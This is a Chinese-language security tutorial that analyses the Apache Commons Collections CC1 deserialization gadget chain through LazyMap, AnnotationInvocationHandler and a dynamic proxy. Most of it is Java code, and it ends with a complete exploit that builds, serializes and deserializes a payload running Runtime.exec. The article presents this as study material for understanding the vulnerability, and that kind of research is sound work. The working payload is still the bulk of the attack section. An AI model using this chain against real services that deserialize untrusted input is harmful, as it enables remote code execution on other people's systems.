Java安全 CC链1分析(Lazymap类)

Java安全 CC链1分析

前言

在看这篇文章前，可以看下我的上一篇文章，了解下cc链1的核心与环境配置

Java安全 CC链1分析

前面我们已经讲过了CC链1的核心ChainedTransformer的transform链，并且用到了TransformedMap类中的方法触发了这条链transform的方法，但是还有一条链可以触发其transform方法，这条链用到了 LazyMap类

这条链用到了大量的反射与代理的知识，建议在看本文章前需要提前补充或复习

CC链分析

CC链1核心

首先我们回顾下cc链1的核心

packageorg.example;importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;publicclass demo1{publicstaticvoidmain(String[] args)throwsException{//transformers: 一个transformer链，包含各类transformer对象（预设转化逻辑）的转化数组Transformer[] transformers =newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc"})};//transformedChain: ChainedTransformer类对象，传入transformers数组，可以按照transformers数组的逻辑执行转化操作ChainedTransformer transformerChain =newChainedTransformer(transformers);
        transformerChain.transform(1);//完全的cc1需要找到哪里可调用transform方法}}

我们接下来的目标就是想法设法调用以上代码中 transformerChain 对象的 transform 方法，从而遍历循环直到命令执行。

LazyMap类

我们首先还是选中 transform 方法，右键选择查找用法

这次我们来到了 LazyMap 类当中的 get 方法

LazyMap类中的get方法的代码如下

publicObjectget(Object key){// create value for key if key is not currently in the mapif(map.containsKey(key)==false){Object value = factory.transform(key);//关键
            map.put(key, value);return value;}return map.get(key);}

经分析得，当满足

map.containsKey(key) == false

时，便会执行

factory对象

的

transform方法

要想满足该语句，我们传入一个map数组中不存在的key键名即可

接下来我们看下 LazyMap 类的构造方法如下

protectedLazyMap(Map map,Transformer factory){super(map);if(factory ==null){thrownewIllegalArgumentException("Factory must not be null");}this.factory = factory;}

发现

get 方法

中的

factory 变量

是可控的，可以赋值为上文的

transformerChain 对象

(cc链1核心),但是该构造方法是受保护的类型，并不能直接调用创建对象

然后我们往上找到了

decorate

方法，代码如下

publicstaticMapdecorate(Map map,Transformer factory){returnnewLazyMap(map, factory);}

发现可以通过调用这个静态方法，获得一个 LazyMap 对象，并且 map 和 factory 参数可控，这样如何获取 LazyMap 对象的问题便得到解决

我们先写一个demo试试这里的

get方法

是否真的可以触发cc链1

packageorg.example;importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;importorg.apache.commons.collections.map.LazyMap;importjava.util.HashMap;importjava.util.Map;publicclass main2{publicstaticvoidmain(String[] args)throwsException{//transformers: 一个transformer链，包含各类transformer对象（预设转化逻辑）的转化数组Transformer[] transformers =newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",null}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,null}),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc"})};ChainedTransformer chainedTransformer =newChainedTransformer(transformers);HashMap<Object,Object> hash =newHashMap<>();Map decorate =LazyMap.decorate(hash, chainedTransformer);
        decorate.get("key");}}

可以看到demo成功运行弹出计算器

AnnotationInvocationHandler类

接下来我们寻找如何触发 LazyMap 对象的get方法，我们同样右键查看用法，可以看到结果有很多，为了节约时间我们直接来到

AnnotationInvocationHandler类

路径如下

外部库 -> jdk1.8_65 -> rt.jar -> sun -> reflect -> annotation -> AnnotationInvocationHandler类

AnnotationInvocationHandler类

在 TransformedMap类所触发的cc链1中用到过，这里我们用到其

invoke 方法

，该方法关键代码如下

publicObjectinvoke(Object proxy,Method method,Object[] args){String member = method.getName();Class<?>[] paramTypes = method.getParameterTypes();if(member.equals("equals")&& paramTypes.length ==1&& paramTypes[0]==Object.class)returnequalsImpl(args[0]);if(paramTypes.length !=0)thrownewAssertionError("Too many parameters for an annotation method");switch(member){case"toString":returntoStringImpl();case"hashCode":returnhashCodeImpl();case"annotationType":return type;}// Handle annotation member accessorsObject result = memberValues.get(member);

经分析，我们需要满足前两条 if 语句，才会触发

memberValues 对象

的

get方法

，否则会提前返回值

第一个if：

if(member.equals("equals")&& paramTypes.length ==1&& paramTypes[0]==Object.class)

我们调用方法的名字不为 equals即可绕过

第二个if：

if(paramTypes.length !=0)

我们无参调用方法即可绕过

接下来我们分析如何将

LazyMap对象

赋值给该类的

memberValues变量

，我们查看构造方法，发现该方法是私有的，我们无法调用

AnnotationInvocationHandler(Class<?extendsAnnotation> type,Map<String,Object> memberValues){Class<?>[] superInterfaces = type.getInterfaces();if(!type.isAnnotation()||
            superInterfaces.length !=1||
            superInterfaces[0]!=java.lang.annotation.Annotation.class)thrownewAnnotationFormatError("Attempt to create proxy for a non-annotation type.");this.type = type;this.memberValues = memberValues;}

然后我们看一下

invoke方法

所属类的定义，如下：

classAnnotationInvocationHandlerimplementsInvocationHandler,Serializable{
    ……
}

发现这个类接口了 InvocationHandler，代表该类可以作为动态代理的代理处理器，只要接口了InvocationHandler接口，就必须重写****invoke 方法，并且调用使用该代理处理器的代理对象中方法之前会自动执行该 invoke方法。

也就是说我们只需要创建一个 代理对象，通过反射让其代理处理器为

AnnotationInvocationHandler类

，然后无参调用代理对象的任意方法，即可触发invoke方法

在Java的动态代理机制中，在执行代理对象中的方法之前，会自动执行其代理处理器中的invoke方法

这样触发 invoke 方法的问题便解决了，接下来我们只需创建一个使用

AnnotationInvocationHandler类

作为处理器的代理对象，并无参调用该代理对象中的方法即可，创建代理对象代码如下

Map proxyInstance =(Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),newClass[]{Map.class}, instance);

接下来便是要解决——如何无参调用

proxyInstance代理对象

中的方法

这里实际上只要是找到无参调用对象中方法的地方即可，不限制在哪个类，但终点要为readObject方法

然后我们就近在这个类中，寻找一个无参调用

memberValues中方法

的方法，我们往下找到了

readObject方法

，其所用到的关键代码，还是和TransformedMap类所触发的cc链1中一样，为下面的for循环

找到readObject方法也就意味着找到了cc链1的起点

for(Map.Entry<String,Object> memberValue : memberValues.entrySet()){String name = memberValue.getKey();Class<?> memberType = memberTypes.get(name);if(memberType !=null){// i.e. member still existsObject value = memberValue.getValue();if(!(memberType.isInstance(value)||
                      value instanceofExceptionProxy)){
                    memberValue.setValue(newAnnotationTypeMismatchExceptionProxy(
                            value.getClass()+"["+ value +"]").setMember(
                                annotationType.members().get(name)));}}}

我们发现for循环中的该语句可实现对

memberValues变量

中的方法实现无参调用

for(Map.Entry<String,Object> memberValue : memberValues.entrySet())

但是我们发现

AnnotationInvocationHandler类

是私有的，我们可以通过反射获取构造方法进而初始化，然后构造函数的

memberValue变量值

设置为我们的代理对象即可

整理下思路 我们先用

AnnotationInvocationHandler类

作为代理处理器创建了一个代理对象

proxyInstance

，然后又通过反射创建了一个

AnnotationInvocationHandler对象

，并将成员属性设置为代理对象

proxyInstance

，目的是为了在

AnnotationInvocationHandler对象

中的

readObject方法

里面对代理对象

proxyInstance

（

memberValues变量

）实现无参调用，从而触发代理处理器

AnnotationInvocationHandler类

中的

invoke方法

，进而触发

get方法

，最后触发

transform方法

，从而实现cc链1

完整exp：

cc链1(Lazymap)完整exp：

importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;importorg.apache.commons.collections.map.LazyMap;importjava.io.IOException;importjava.io.ObjectInputStream;importjava.io.ObjectOutputStream;importjava.lang.reflect.Constructor;importjava.lang.reflect.InvocationHandler;importjava.lang.reflect.InvocationTargetException;importjava.lang.reflect.Proxy;importjava.nio.file.Files;importjava.nio.file.Paths;importjava.util.HashMap;importjava.util.Map;publicclass cc11 {publicstaticvoidmain(String[] args)throwsIOException,NoSuchMethodException,InvocationTargetException,IllegalAccessException,ClassNotFoundException,InstantiationException{//定义一系列Transformer对象,组成一个变换链Transformer[] transformers =newTransformer[]{//返回Runtime.classnewConstantTransformer(Runtime.class),//通过反射调用getRuntime()方法获取Runtime对象newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",null}),//通过反射调用invoke()方法newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,null}),//通过反射调用exec()方法启动计算器newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc"})};//将多个Transformer对象组合成一个链ChainedTransformer chainedTransformer =newChainedTransformer(transformers);HashMap<Object,Object> hash =newHashMap<>();//使用chainedTransformer装饰HashMap生成新的MapMap decorate =LazyMap.decorate(hash, chainedTransformer);//通过反射获取AnnotationInvocationHandler类的构造方法Class c =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);//设置构造方法为可访问的
        constructor.setAccessible(true);//通过反射创建 Override 类的代理对象 instance,并设置其调用会委托给 decorate 对象InvocationHandler instance =(InvocationHandler) constructor.newInstance(Override.class, decorate);//创建Map接口的代理对象proxyInstance,并设置其调用处理器为instanceMap proxyInstance =(Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),newClass[]{Map.class}, instance);//再次通过反射创建代理对象Object o = constructor.newInstance(Override.class, proxyInstance);serialize(o);unserialize("1.bin");}publicstaticvoidserialize(Object obj)throwsIOException{ObjectOutputStream out =newObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
        out.writeObject(obj);}publicstaticvoidunserialize(String filename)throwsIOException,ClassNotFoundException{ObjectInputStream out =newObjectInputStream(Files.newInputStream(Paths.get(filename)));
        out.readObject();}}

运行成功弹出计算器